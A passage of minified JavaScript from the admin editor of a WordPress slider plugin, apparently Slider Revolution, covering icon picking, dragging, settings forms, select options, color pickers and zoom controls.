class="'+e.target.className+'">'+("material-icons"===e.target.className?e.target.innerHTML:"")+"</i>"),RVS.F.insertinto.trigger("change"),RVS.S.icon_closeafterpick&&(RVS.F.open=!1,RVS.F.container.hide());else if(!(jQuery(e.target).closest("#rs_iconselector_inner").length>0))return RVS.F.open=!1,RVS.F.container.hide(),!1}))},RVS.DOC.on("addIcontoTextLayer",function(e,t){RVS.F.initIconPicker();var i=t.event.currentTarget.dataset;RVS.F.showIconPicker({parent:i.iconparent,classlist:i.classlist,insertinto:i.insertinto,closeafterpick:i.closeafterpick,shortreturn:i.shortreturn})}),RVS.F.addBodyClickListener=function(e){jQuery(document.body).on("click.revbuilderbodyclick",function(e){if(void 0!==RVS.S.waitOnFeedback&&void 0!==RVS.S.waitOnFeedback.allowed){var t=!1;for(var i in RVS.S.waitOnFeedback.allowed)RVS.S.waitOnFeedback.allowed.hasOwnProperty(i)&&(t=!0===t||jQuery.inArray(RVS.S.waitOnFeedback.allowed[i],e.target.classList)>=0);if(!t)return void 0!==RVS.S.waitOnFeedback.closeEvent&&RVS.DOC.trigger(RVS.S.waitOnFeedback.closeEvent),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),!1}})},RVS.F.findUndefineds=function(e,t){var i="";for(var a in t=void 0===t?"ROOT":t,e)e.hasOwnProperty(a)&&("object"==typeof e[a]?(i=t+"."+a,RVS.F.findUndefineds(e[a],i)):void 0===e[a]&&console.log(t+"."+a+"="+t+"."+a+'===undefined ? "" : '+t+"."+a+";"))},RVS.F.dragMe=function(e){e.element.data("dragstart",{top:"auto",left:"auto",right:"auto",bottom:"auto"}),e.element.draggable({start:function(t,i){RVS.F.openBackupGroup({id:"elementmovement",txt:"Move "+e.element.attr("id"),icon:"open_with"}),RVS.F.updateContentDeltas(),RVS.S.click.y=t.clientY,RVS.S.click.x=t.clientX,n=[],e.mem={x:0,y:0},e.revert={x:"auto"===this.style.left?-1:1,y:"auto"===this.style.top?-1:1},void 0!==e.input&&void 0!==e.input.x&&(e.mem.x=parseInt(e.input.x.val(),0)),void 0!==e.input&&void 0!==e.input.y&&(e.mem.y=parseInt(e.input.y.val(),0)),e.attribute=void 0===e.attribute?{x:"",y:""}:e.attribute,e.attribute.x=""===e.attribute.x||void 0===e.attribute.x?e.input.x.data("r"):e.attribute.x,e.attribute.y=""===e.attribute.y||void 0===e.attribute.y?e.input.y.data("r"):e.attribute.y,e.pos={x:0,y:0},n.push(e),RVS.C.vW.classList.remove("mode__slidelayout"),RVS.C.vW.classList.add("mode__navlayout"),RVS.F.openSettings({forms:e.forms,uncollapse:!0})},drag:function(e,t){for(var i in RVS.S.DaD.dragdelta.x=e.clientX-RVS.S.click.x,RVS.S.DaD.dragdelta.y=e.clientY-RVS.S.click.y,n)n.hasOwnProperty(i)&&y(n[i]);t.position={}},stop:function(t,i){RVS.F.closeBackupGroup({id:"elementmovement",txt:"Move "+e.element.attr("id"),icon:"open_with"})}})},RVS.F.updateFormPositions=function(e){null!==e.jf&&void 0!==e.jf&&requestAnimationFrame(function(){if(!0===e.uncollapse||"true"===e.uncollapse){var t=RVS.F.closestClass(e.jf,"form_collector"),i=RVS.C.theRightToolbar[0].querySelectorAll(".form_collector .formcontainer");if("form_collector_layerlist"!==t.id)for(var a in i){if(!i.hasOwnProperty(a)||"form_layerlist"===i[a].id||null==i[a].offsetParent)continue;i[a].classList.add("collapsed")}e.jf.classList.remove("collapsed")}if(void 0!==e.jf.dataset.unselect){var o=document.querySelectorAll(e.jf.dataset.unselect);for(var r in o)o.hasOwnProperty(r)&&o[r].classList.remove("selected")}if(void 0!==e.jf.dataset.select){o=document.querySelectorAll(e.jf.dataset.select);for(var r in o)o.hasOwnProperty(r)&&o[r].classList.add("selected")}RVS.DOC.trigger("scrollUpdates")})},RVS.F.showForms=function(e,t){var i=e.split(":");for(var a in RVS.eMode.lo_container=void 0===RVS.eMode.lo_container?document.getElementById("mmbw_loptions"):RVS.eMode.lo_container,RVS.eMode.sticky_container=void 0===RVS.eMode.sticky_container?document.getElementById("settings_sticky_info"):RVS.eMode.sticky_container,RVS.eMode.stickyLeft=void 0===RVS.eMode.stickyLeft?document.getElementById("settings_sticky_left"):RVS.eMode.stickyLeft,RVS.eMode.stickyRight=void 0===RVS.eMode.stickyRight?document.getElementById("settings_sticky_right"):RVS.eMode.stickyRight,i[0].indexOf("*sliderlayout*")>=0&&"sliderlayout"!==RVS.S.vWmode&&(RVS.F.mainMode({mode:"sliderlayout"}),RVS.eMode.top="slider"),i[0].indexOf("*navlayout*")>=0&&"navlayout"!==RVS.S.vWmode&&(RVS.F.mainMode({mode:"navlayout"}),RVS.eMode.top="navigation"),i[0].indexOf("*slidelayout*")>=0&&"slidelayout"!==RVS.S.vWmode&&(RVS.F.mainMode({mode:"slidelayout"}),RVS.eMode.top="slide"),i[0].indexOf("*mode__slidestyle*")>=0&&(RVS.DOC.trigger("changeToSlideMode"),RVS.eMode.top="slide"),i[0].indexOf("*mode__slidecontent*")>=0&&(RVS.DOC.trigger("changeToLayerMode"),RVS.eMode.top="layer"),i)i.hasOwnProperty(a)&&(i[a]=i[a].replace("*sliderlayout*",""),i[a]=i[a].replace("*navlayout*",""),i[a]=i[a].replace("*slidelayout*",""),i[a]=i[a].replace("*mode__slidestyle*",""),i[a]=i[a].replace("*mode__slidecontent*",""));if(""!==i[0]&&(RVS.eMode.menu=i[0]),void 0!==RVS.S.sliderInputFieldsInitialised||"static"!==window.lastSlideSettingForm&&("slider"!==RVS.eMode.top&&""!==RVS.eMode.top||"#form_module_title"==RVS.eMode.menu)&&"navigation"!==RVS.eMode.top||""===RVS.eMode.menu||RVS.F.updateSliderInputFields(!0),void 0===RVS.S.layerInputFieldsInitialised&&"layer"===RVS.eMode.top&&RVS.F.updateLayerInputFields(!0),void 0===RVS.S.slideInputFieldsInitialised&&"slide"===RVS.eMode.top&&RVS.F.updateSlideInputFields(!0),void 0!==i[0]&&i[0].length>0&&RVS.F.updateFormPositions({jf:document.querySelector(i[0]),focus:!0,uncollapse:t}),RVS.eMode.preMode=RVS.eMode.mode,"layer"===RVS.eMode.top&&"#form_layer_content"===RVS.eMode.menu&&1===RVS.selLayers.length&&void 0!==RVS.L[RVS.selLayers[0]]&&"audio"===RVS.L[RVS.selLayers[0]].type&&RVS.F.checkForAudioLayer(),"layer"!==RVS.eMode.top||"#form_layer_animation"!==RVS.eMode.menu&&"#form_layer_loop"!==RVS.eMode.menu?"layer"===RVS.eMode.top&&"#form_layer_hover"===RVS.eMode.menu&&"hover"!==RVS.eMode.mode?(RVS.eMode.mode="hover",RVS.eMode.lo_container.className="mmbw_hover",RVS.eMode.sticky_container.className="sticky_in_animation",RVS.F.animationMode(!1),RVS.S.shwLayerAnim&&(RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"})),RVS.F.updateSelectedLayersIdleHover(),RVS.TL.TL.removeClass("inAnimationMode"),RVS.C.rb.removeClass("inAnimationMode")):"idle"!==RVS.eMode.mode&&(RVS.eMode.mode="idle",RVS.eMode.lo_container.className="mmbw_idle",RVS.eMode.sticky_container.className="",RVS.F.animationMode(!1),RVS.S.shwLayerAnim&&(RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"})),RVS.F.updateSelectedLayersIdleHover(),RVS.TL.TL.removeClass("inAnimationMode"),RVS.C.rb.removeClass("inAnimationMode")):(RVS.selLayers.length>=1&&void 0!==RVS.L[RVS.selLayers[0]]&&RVS.F.selectLayers({id:RVS.L[RVS.selLayers[0]].uid,overwrite:!0,action:"add"}),RVS.eMode.mode="animation",RVS.eMode.lo_container.className="mmbw_animation",RVS.eMode.sticky_container.className="sticky_in_animation",RVS.F.animationMode(!0),RVS.TL.TL.addClass("inAnimationMode"),RVS.C.rb.addClass("inAnimationMode")),"idle"===RVS.eMode.mode&&"idle"!==RVS.S.keyFrame&&(RVS.S.keyFrame="idle",RVS.F.animationMode(!1)),"hover"===RVS.eMode.preMode&&"hover"!==RVS.eMode.mode)for(var o in RVS.selLayers)RVS.selLayers.hasOwnProperty(o)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[o]});"slide"===RVS.eMode.top&&"#form_slide_loops"==RVS.eMode.menu?(RVS.TL.TL.addClass("slideloopedit"),RVS.TL.slideLoopEdit=!0):RVS.TL.slideLoopEdit&&(RVS.TL.TL.removeClass("slideloopedit"),RVS.TL.slideLoopEdit=!1),RVS.F.checkForFixedScroll(),RVS.DOC.trigger("editorViewModeChange"),clearTimeout(RVS.eMode.stickytimer),RVS.eMode.stickytimer=setTimeout(function(){var e="slider"===RVS.eMode.top?document.querySelector(".general_submodule_trigger.selected .gso_title"):"navigation"===RVS.eMode.top?document.querySelector(".nav_submodule_trigger.selected .gso_title"):"slide"===RVS.eMode.top?document.querySelector(".slide_submodule_trigger.selected .gso_title"):document.querySelector(".layer_submodule_trigger.selected .gso_title");null!==e&&(RVS.eMode.stickyLeft.textContent=e.textContent,RVS.eMode.stickyLeft.classList.remove("purple"),void 0!==e.dataset.stickycolor&&"purple"===e.dataset.stickycolor&&RVS.eMode.stickyLeft.classList.add("purple")),RVS.eMode.stickyRight.innerHTML=RVS_LANG["sticky_"+RVS.eMode.top]},50)},RVS.F.openSettings=function(e){if(void 0!==e.btn&&void 0===e.forms&&(e.forms=e.btn.data("forms"),e.forms=void 0===e.forms?e.btn.closest(".markable").length>0?e.btn.closest(".markable").data("forms"):[]:e.forms),void 0!==e.forms)if("string"==typeof e.forms)RVS.F.showForms(e.forms,e.uncollapse);else for(var t in e.forms)e.forms.hasOwnProperty(t)&&RVS.F.showForms(e.forms[t],e.uncollapse)},RVS.F.mainMode=function(e){switch(RVS.C.vW.classList.remove("mode__sliderlayout"),RVS.C.vW.classList.remove("mode__slidelayout"),RVS.C.vW.classList.remove("mode__navlayout"),RVS.S.vWmode=e.mode,!0!==e.ignoreReDraw&&RVS.DOC.trigger("beforeLayoutModeChange"),e.mode){case"navlayout":RVS.C.vW.classList.add("mode__navlayout"),RVS.F.redrawAllNavigationContainer();break;case"sliderlayout":RVS.C.vW.classList.add("mode__sliderlayout"),RVS.F.redrawAllNavigationContainer();break;case"slidelayout":RVS.C.vW.classList.add("mode__slidelayout"),void 0!==e.slide?RVS.F.setSlideFocus({slideid:e.slide,ignoreUpdateFields:e.ignoreUpdateFields}):RVS.F.updateAllHTMLLayerPositions()}e.set&&void 0!==e.forms&&RVS.F.openSettings({forms:e.forms,uncollapse:e.uncollapse})},RVS.F.setInputTo=function(e){var t=document.getElementById(e.field.replace("#",""));RVS.F.updateEasyInput({el:t,nval:e.val,path:e.path}),"checkbox"===t.type&&RVS.F.turnOnOffVisUpdate({input:t}),t.dispatchEvent(new Event("change",{bubbles:!0}))},RVS.F.generateAttachmentMetaData=function(){RVS.ENV.create_img_meta&&RVS.F.ajaxRequest("generate_attachment_metadata",{},function(){},!0,!0)},RVS.F.updateInputBoxes=function(){jQuery(".tos2, .slideinput, .sliderinput").trigger("init")},RVS.F.removeAllOptionsS2=function(e){void 0!==e&&void 0!==e.select&&(e.select.find("option").remove(),e.select.hasClass("nosearchbox")&&e.select.ddTP("change").ddTP({placeholder:"Enter or Select"}))},RVS.F.addOptionS2=function(e){return void 0!==e.val&&void 0!==e.select&&(!(e.select.find('option[value="'+e.val+'"]').length>0)&&(e.select.append('<option value="'+e.val+'">'+e.txt+"</option>"),void(e.select.hasClass("nosearchbox")&&e.select.ddTP("change").ddTP({placeholder:"Enter or Select"}))))},RVS.F.addOrSelectOption=function(e){if(void 0===e.val||void 0===e.select)return!1;e.select.find('option[value="'+e.val+'"]').length>0&&!1!==e.selected?e.select.val(e.val).trigger("change"):(!1!==e.selected?e.select.append('<option selected value="'+e.val+'">'+e.val+"</option>"):e.select.append('<option value="'+e.val+'">'+e.val+"</option>"),e.select.ddTP({placeholder:"Select From List"}))},RVS.F.setS2Option=function(e){void 0!==e&&(void 0!==e.enableValue&&e.select.find('option[value="'+e.enableValue+'"]').prop("disabled",!1),void 0!==e.disableValue&&e.select.find('option[value="'+e.disableValue+'"]').prop("disabled","disabled"),void 0!==e.selectValue&&(e.select[0].value=e.selectValue),e.select.hasClass("nosearchbox")&&e.select.ddTP("change").ddTP({placeholder:"Enter or Select"}),!0===e.update&&RVS.F.updateEasyInput({el:e.select[0],path:e.path}))},RVS.F.setRadio=function(e){if(void 0!==e&&void 0!==e.radio&&void 0!==e.radioValue){var t=jQuery('input:radio[name="'+e.radio+'"]').filter('[value="'+e.radioValue+'"]');t.prop("checked",!0),!0===e.change&&t.trigger("change"),!0===e.update&&RVS.F.updateEasyInput({el:e.select[0],path:e.path})}},RVS.F.insertAfter=function(e,t){var i=t.parentNode;i.lastChild==t?i.appendChild(e):i.insertBefore(e,t.nextSibling)},RVS.F.prepareOneInputWithPresets=function(e){if(-1==e.parentNode.className.indexOf("input_presets_wrap")){var t,i,a,o,r,s=RVS.F.cE({cN:"input_presets_wrap"}),n=RVS.F.cI({cN:"input_presets_dropdown",c:"more_vert"}),d=RVS.F.cE({cN:"input_presets"}),l=e.dataset.presets_val.split("!"),c=e.dataset.presets_text.split("!"),p="";for(t in c)c.hasOwnProperty(t)&&(p=c[t].indexOf("$$")>=0?"ipwborder":"",r=(o=c[t].split("$")).length>2&&o[2].length>0,i=RVS.F.cE({cN:"input_preset "+p,ds:{iid:e.id,r:e.dataset.r,val:l[t]}}),r?(a=RVS.F.cI({c:window.RS_PRESETS[o[1]]}),i.innerText=o[2],i.prepend(a)):i.innerText=c[t],d.appendChild(i));s.appendChild(n),s.appendChild(d),(s=e.parentNode.insertBefore(s,e)).appendChild(e)}},RVS.F.initInputsWithPresets=function(e){void 0===e&&jQuery(".input_with_presets").each(function(){RVS.F.prepareOneInputWithPresets(this)})},RVS.F.createSelectOptions=function(e){void 0===(d=void 0===d?{}:d)[e.ctype]?(d[e.ctype]=[],RVS.F.ajaxRequest("get_list_of",{type:e.ctype},function(t){if(t.pages)for(var i in t.pages)t.pages.hasOwnProperty(i)&&d[e.ctype].push({id:i,slug:t.pages[i].slug,title:t.pages[i].title});if(t.sliders)for(var i in t.sliders)t.sliders.hasOwnProperty(i)&&d[e.ctype].push({id:i,slug:t.sliders[i].slug,title:t.sliders[i].title,type:t.sliders[i].type,subtype:t.sliders[i].subtype});if(t.posttypes)for(var i in t.posttypes)t.posttypes.hasOwnProperty(i)&&d[e.ctype].push({slug:t.posttypes[i].slug,title:t.posttypes[i].title});e.select.innerHTML=h({array:d[e.ctype],type:e.select.dataset.valuetype,preselected:e.select.value,filter:e.select.dataset.filter,subfilter:e.select.dataset.subfilter}),jQuery(e.select).ddTP({placeholder:"Select From List"}),RVS.F.updateSelectsWithSpecialOptions()},void 0,void 0,RVS_LANG.updateselects+'<br><span style="font-size:17px; line-height:25px;">"'+RVS_LANG.buildingSelects+'"</span>')):(e.select.innerHTML=h({array:d[e.ctype],type:e.select.dataset.valuetype,preselected:e.select.value,filter:e.select.dataset.filter,subfilter:e.select.dataset.subfilter}),jQuery(e.select).ddTP({placeholder:"Select From List"}),RVS.F.updateSelectsWithSpecialOptions())},RVS.F.getCustomPostTypes=function(e){if(void 0!==RVS.LIB.POST_TYPES)return e&&e(),RVS.LIB.POST_TYPES;RVS.LIB.POST_TYPES=[],RVS.F.ajaxRequest("get_list_of",{type:"posttypes"},function(t){if(t.posttypes)for(var i in t.posttypes)t.posttypes.hasOwnProperty(i)&&RVS.LIB.POST_TYPES.push({slug:t.posttypes[i].slug,title:t.posttypes[i].title,tax:t.posttypes[i].tax});return e&&e(),RVS.LIB.POST_TYPES})},RVS.F.updateSelectsWithSpecialOptions=function(){if(void 0===c?c={listofselects:document.getElementsByClassName("select_of_customlist"),curindex:0}:c.curindex++,c.curindex>=c.listofselects.length)return delete c,!0;RVS.F.createSelectOptions({ctype:c.listofselects[c.curindex].dataset.ctype,select:c.listofselects[c.curindex]})},RVS.F.noGradient=function(e){return-1==e.indexOf("slide.bg.color")&&-1==e.indexOf("slider.bg.color")&&-1==e.indexOf(".progressbar.color")&&(e.indexOf(".color")>=0||e.indexOf(".borderColor")>=0||e.indexOf(".strokeColor")>=0)},RVS.DOC.on("RSCOLOR.OPEN",function(e,t){if(jQuery.rsColorPickerApi.hideGlobal(),null!=t&&void 0!==t.currentInput&&void 0!==t.currentInput[0]){var i=t.currentInput[0].className.indexOf("layerinput")>=0?"layer":t.currentInput[0].className.indexOf("sliderinput")>=0?"slider":t.currentInput[0].className.indexOf("navstyleinput")>=0?"navstyle":t.currentInput[0].className.indexOf("slideinput")>=0?"slide":"na";if("na"!==i&&void 0!==t.currentInput[0].dataset.r){var a=RVS.F.getConcVals(t.currentInput[0].dataset.r,RVS.screen),o=[];switch(a=a.replace("slider.",""),i){case"layer":for(var r in RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&o.push({inpname:t.currentInput[0].name,r:RVS.S.slideId+".layers."+RVS.selLayers[r]+"."+a,layer:RVS.selLayers[r],slide:RVS.S.slideId,type:"layer"});break;case"slide":o.push({inpname:t.currentInput[0].name,r:RVS.S.slideId+".slide."+a,slide:RVS.S.slideId,type:"slide"});break;case"slider":o.push({inpname:t.currentInput[0].name,r:"settings."+a,type:"slider"});break;case"navstyle":o.push({inpname:t.currentInput[0].name,r:a,type:"navstyle",evtparam:t.currentInput[0].dataset.evtparam})}RVS.F.checkGlobalSkinAvail(),jQuery.rsColorPickerApi.showGlobal(t,RVS.SLIDER.settings.skins.colors,o)}}}),RVS.DOC.on("click","#edit_skin_colors",function(){jQuery.rsColorPickerApi.closeColorPicker(),RVS.F.openColorSkinApi()}),RVS.F.checkGlobalSkinAvail=function(){for(var e in RVS.SLIDER.settings.skins.colors)if(RVS.SLIDER.settings.skins.colors.hasOwnProperty(e)){var t=[];for(var i in RVS.SLIDER.settings.skins.colors[e].ref)if(RVS.SLIDER.settings.skins.colors[e].ref.hasOwnProperty(i)){var a=RVS.SLIDER.settings.skins.colors[e].ref[i];void 0!==a.slide&&void 0===RVS.SLIDER[a.slide]||(void 0===a.layer||void 0!==RVS.SLIDER[a.slide]&&void 0!==RVS.SLIDER[a.slide].layers&&void 0!==RVS.SLIDER[a.slide].layers[a.layer])&&t.push(a)}RVS.SLIDER.settings.skins.colors[e].ref=t}},RVS.F.initTpColorBoxes=function(e){jQuery(e).rsColorPicker({init:function(e,t,i,a){var o=document.createElement("input");o.type="text",o.className="layerinput",e[0].appendChild(o),t.data("ghost",o)},onRefresh:function(e,t,i,a){e.data("ghost").value=t},onEdit:function(e,t,i,a){e.data("ghost").value=t;var o=void 0!==i&&void 0!==a&&-1!==a&&void 0!==i[a]?i[a]:void 0;void 0!==o&&(o.v=t),RVS.DOC.trigger("coloredit",[e,t,void 0,void 0,void 0!==o?o:e[0].className.indexOf("skininput")>0?RVS.SLIDER.settings.skins.colors[e[0].dataset.evtparam]:void 0])},change:function(e,t,i,a,o){e.data("ghost").value=t;var r,s=void 0!==a?a:e[0].className.indexOf("skininput")>0?jQuery.extend(!0,{},RVS.SLIDER.settings.skins.colors):void 0,n=!1;if(void 0!==s){var d=-1==o||void 0===o?e[0].dataset.evtparam:o;void 0!==s[d]&&(s[d].v=t),RVS.F.openBackupGroup({id:"colorchange",txt:void 0!==s[d]?s[d].alias+" Skin Change":(r=e[0].name,("layerTextColorHover"===r?"Layer  Hover Color":"layerTextColor"===r?"Layer Color":"layerTextColorInFrame"===r?"Layer  Color in Frame":"frameColorAnimation"===r?"Layer Color Animation":"frameBGColorAnimation"===r?"Frame BG Color Animation":"frameBGColorAnimationDouble"===r?"Frame BG Color Animation":"layerBGColor"===r?"Layer Background Color":"layerBorderColor"===r?"Layer Border Color":"layerSVGColor"===r?"SVG Color":"layerStrokeColor"===r?"Stroke Color":"slide_bg_color"===r?"Slide Background Color":"sliderprogresscolor"===r?"Progress Bar Color":"sliderTabBgColor"===r?"Tab Wrap Color":"sliderThumbBgColor"===r?"Thumbnails BG Color":"sliderbgcolor"===r?"Slider Bakground Color":"Color Change")+" "),icon:"style"}),n=!0,RVS.F.updateSliderObj({path:"settings.skins.colors",val:jQuery.extend(!0,{},void 0===a?s:a)}),s=s[d]}RVS.DOC.trigger("coloredit",[e,t,i,!0,s]),(void 0!==s||n)&&setTimeout(function(){RVS.F.closeBackupGroup({id:"colorchange"})},500)},cancel:function(e,t,i,a,o){e.data("ghost").value=t;var r=void 0!==a&&void 0!==o&&-1!==o&&void 0!==a[o]?a[o]:void 0;void 0!==r&&(r.v=t),RVS.DOC.trigger("colorcancel",[e,t,void 0,void 0,void 0!==r?r:e[0].className.indexOf("skininput")>0?RVS.SLIDER.settings.skins.colors[e[0].dataset.evtparam]:void 0])}})},RVS.F.createWPMLOptions=function(e){var t,i=document.createDocumentFragment();if("undefined"!=typeof RS_WPML_LANGS&&void 0!==RS_WPML_LANGS){for(var a in RS_WPML_LANGS)RS_WPML_LANGS.hasOwnProperty(a)&&((t=RVS.F.CO(a,RS_WPML_LANGS[a].title)).dataset.src=RS_WPML_LANGS[a].image,i.appendChild(t));e.appendChild(i)}},RVS.F.convertEase=function(e){return e=(e="none"===(e=void 0===e?"power2.inOut":e)?"none":"slow"===e?"slow":e.replace("easeIn","in").replace("easeOut","out").replace("easeInOut","inOut")).indexOf(".")>=0?e.charAt(0).toLowerCase()+e.slice(1):e},RVS.F.createEaseOptions=function(e){if(e=void 0===e.innerHTML?e[0]:e,void 0===a||""===a)for(var t in a=document.createDocumentFragment(),window.RS_EASES)window.RS_EASES.hasOwnProperty(t)&&a.appendChild(RVS.F.CO(t,window.RS_EASES[t]));void 0!==e.dataset&&"true"==e.dataset.inherit&&a.appendChild(RVS.F.CO("inherit","Inherit")),e.appendChild(a.cloneNode(!0))},RVS.F.createSlideAnimOptions=function(t){var i;if(t=void 0===t.innerHTML?t[0]:t,void 0===e||""===e)for(var a in(e=document.createDocumentFragment()).appendChild(document.createElement("option")),RVS.LIB.SLTR)if(RVS.LIB.SLTR.hasOwnProperty(a)&&"random"!==a&&"custom"!==a)for(var o in RVS.LIB.SLTR[a])if(RVS.LIB.SLTR[a].hasOwnProperty(o)&&"icon"!=o&&"eclass"!=o){for(var r in(i=document.createElement("optgroup")).label=(void 0===RVS_LANG["sltr_"+a]?a:RVS_LANG["sltr_"+a])+" "+(void 0===RVS_LANG["sltr_"+o]?o:RVS_LANG["sltr_"+o]),RVS.LIB.SLTR[a][o])i.appendChild(RVS.F.CO(r,(void 0===RVS_LANG["sltr_"+a]?"":RVS_LANG["sltr_"+a]+" ")+b(RVS.LIB.SLTR[a][o][r].title)));e.appendChild(i)}t.appendChild(e.cloneNode(!0))},RVS.F.createDottedOptions=function(e){if(e=void 0===e.innerHTML?e[0]:e,void 0===t||""===t){(t=document.createDocumentFragment()).appendChild(RVS.F.CO("none","No Overlay"));for(var i=1;i<17;i++)t.appendChild(RVS.F.CO(i,RVS_LANG["dov_"+i]))}e.appendChild(t.cloneNode(!0))},RVS.F.createSliderListOptions=function(e){if(e=void 0===e.innerHTML?e[0]:e,void 0===i||""===i)for(var t in i=document.createDocumentFragment(),RVS.LIB.SLIDERS)RVS.LIB.SLIDERS.hasOwnProperty(t)&&i.appendChild(RVS.F.CO(RVS.LIB.SLIDERS[t].alias,RVS.LIB.SLIDERS[t].title));e.appendChild(i.cloneNode(!0))},RVS.F.initialiseGlobalBoxes=function(e){jQuery(".tos2.slideAnimSelect").each(function(){RVS.F.createSlideAnimOptions(this)}),jQuery(".tos2.dottedoverlay").each(function(){RVS.F.createDottedOptions(this)}),jQuery(".tos2.selectsliderlist").each(function(){RVS.F.createSliderListOptions(this)}),jQuery(".tos2.easingSelect").each(function(){RVS.F.createEaseOptions(this)}),jQuery(".tos2.wpml_lang_selector").each(function(){RVS.F.createWPMLOptions(this)}),"overview"===e&&(jQuery(".tos2.wpml_lang_selector").ddTP({placeholder:"Select From List",pre:'<span><img src="#data#" class="wpml-img-flag" />',preData:"src"}),jQuery(".tos2.nosearchbox").ddTP({placeholder:"Select From List"}),jQuery(".tos2.searchbox").ddTP({placeholder:"Enter or Select"})),jQuery("#tl_gridmanagement_wrap .tos2.nosearchbox").ddTP({placeholder:"Select From List"}),RVS.DOC.on("click","#add_on_management",function(){void 0!==RVS.ENV.newAddonsCounter&&(RVS.ENV.newAddonsCounter.style.display="none"),RVS.F.openAddonModal()}),RVS.DOC.on("openAddonModal",RVS.F.openAddonModal)},RVS.F.updateZoom=function(e){RVS.zoom=e<100?Math.round(100*(.5+.5*e/100))/100:Math.round(100*(1+1*(e-100)/100))/100,tpGS.gsap.set(RVS.C.UL,{scaleX:RVS.zoom,scaleY:RVS.zoom,transformOrigin:"0px 0px"}),RVS.C.zoomFactor.textContent=Math.round(100*RVS.zoom)+"%",RVS.F.updateContentDeltas(),RVS.F.buildRuler(!0),RVS.F.setRulers()},RVS.F.initialiseInputBoxes=function(e){if(RVS.DOC.on("gethtml5posterimage",function(e,t){RVS.F.videoExtract.get("slide"===t?RVS.SLIDER[RVS.S.slideId].slide.bg.mpeg:document.getElementById("layer_mpeg_src").value,function(e,t){RVS.F.setBGPosterImage(e.path,e.id,t)},"slide"===t?RVS.SLIDER[RVS.S.slideId].slide.bg.video.startAt:document.getElementById("layer_video_start").value,t)}),"overview"!==e&&(RVS.C.zoomTopWrap=document.getElementById("zoomer_wrap_toolbar"),RVS.C.zoomFactor=document.getElementById("zoomer_factor"),RVS.C.zoomPin=document.getElementById("ezoomer_pin"),jQuery(RVS.C.zoomPin).resizable({handles:"e",minWidth:"none",grid:[10,1],containment:"parent",start:function(){RVS.C.zoomTopWrap.classList.add("inzoommove")},stop:function(){RVS.C.zoomTopWrap.classList.remove("inzoommove")},resize:function(e,t){t.size.width<0&&(t.size.width=0),RVS.F.updateZoom(t.size.width)}}),RVS.DOC.on("click","#zoomer_wrap_toolbar .selected_placeholder",function(){RVS.F.updateZoom(100),RVS.C.zoomPin.style.width="100px"})),RVS.F.initialiseGlobalBoxes(e),RVS.F.initTpColorBoxes(".my-color-field"),RVS.F.initPreDrops(),RVS.F.initInputsWithPresets(),RVS.DOC.on("keyup focus change",".livechange",function(e){var t=this.dataset;RVS.S.inputField=this.id,RVS.S.inputFieldCursorAt=this.selectionStart,void 0!==t&&void 0!==t.evt&&jQuery(document.body).trigger(t.evt,{event:e,val:this.value,eventparam:t.evtparam})}),RVS.DOC.on("active focus"," .rsdyn_inp",function(e){var t=RVS.F.closestNode(this,"ROW"),i=RVS.F.closestClass(this,"dyn_inp_wrap");null!=t&&t.classList.add("active_"+i.tagName.toLowerCase())}),RVS.DOC.on("blur"," .rsdyn_inp",function(e){var t=RVS.F.closestNode(this,"ROW");null!=t&&(t.classList.remove("active_onelong"),t.classList.remove("active_oneshort"))}),RVS.DOC.on("focus","textarea, input",function(e){RVS.S.inFocus=e.currentTarget,RVS.S.inFocusValue=e.currentTarget.value}),RVS.DOC.on("blur","textarea, input",function(e){"ta_layertext"===e.target.id&&RVS.F.redrawEditedTextLayerwhenPlaceholder(),RVS.S.inFocus="none"}),RVS.DOC.on("click","#filedrop_close",RVS.F.browserDroppable.close),RVS.DOC.on("click","#fullpage_close",RVS.F.fullPageInfo.close),RVS.DOC.on("mouseleave",".input_presets_wrap",function(){jQuery(this).removeClass("infocus")}),RVS.DOC.on("click",".input_preset",function(){if("###metapicker###"===this.dataset.val)RVS.DOC.trigger("addMetaToLayer",{eventparam:"#"+this.dataset.iid});else{var e=jQuery("#"+this.dataset.iid);e.val(this.dataset.val),e.trigger("change"),e.trigger("focus")}}),RVS.DOC.on("click",".show_more_toggle",function(){jQuery(this).toggleClass("showlesson"),jQuery(this.dataset.toggle).toggle()}),RVS.DOC.on("click",".icon_switcher",function(){this.className.indexOf("icsw_on")>=0?RVS.F.setInputTo({field:this.dataset.ref,val:!1}):RVS.F.setInputTo({field:this.dataset.ref,val:!0})}),RVS.DOC.on("click",".triggerEvent",function(e){var t=this.dataset;jQuery(document.body).trigger(t.evt,{event:e,eventparam:t.evtparam})}),RVS.DOC.on("click",".vs-item",function(){jQuery(this.parentNode).find(".vs-item").removeClass("selected"),this.className+=" selected",RVS.F.showHideGroups({hide:this.dataset.hide,show:this.dataset.show,showprio:this.dataset.showprio})}),RVS.DOC.on("click",".screen_selector, .toolkit_selector, .eventcaller, .form_opener_btn, .collectortab, .opensettingstrigger, .extendval, .openmodaltrigger",function(e){if(e.target.className.indexOf("tponoff")>=0||this.className.indexOf("ssnotavailable")>=0);else{if(void 0!==this.dataset.triggerinp&&jQuery(this.dataset.triggerinp).val(this.dataset.triggerinpval).trigger("change"),void 0!==this.dataset.forms&&RVS.F.openSettings({forms:jQuery(this).data("forms"),uncollapse:this.dataset.collapse}),void 0!==this.dataset.unselect&&jQuery(this.dataset.unselect).removeClass("selected"),void 0!==this.dataset.select&&jQuery(this.dataset.select).addClass("selected"),void 0!==this.dataset.extendval){var t=jQuery(this.dataset.inp);t.val(t.val()+" "+this.dataset.extendval).trigger("change")}void 0!==this.dataset.screenicon&&(jQuery("#screen_selector_ph_icon").html(this.dataset.screenicon),jQuery("#screen_selector_ph_icon_sr").html(this.dataset.screenicon)),void 0!==this.dataset.evt&&(this.className.indexOf("callEvent")>=0||this.className.indexOf("eventcaller")>=0)&&jQuery(document.body).trigger(this.dataset.evt,this.dataset.evtparam),void 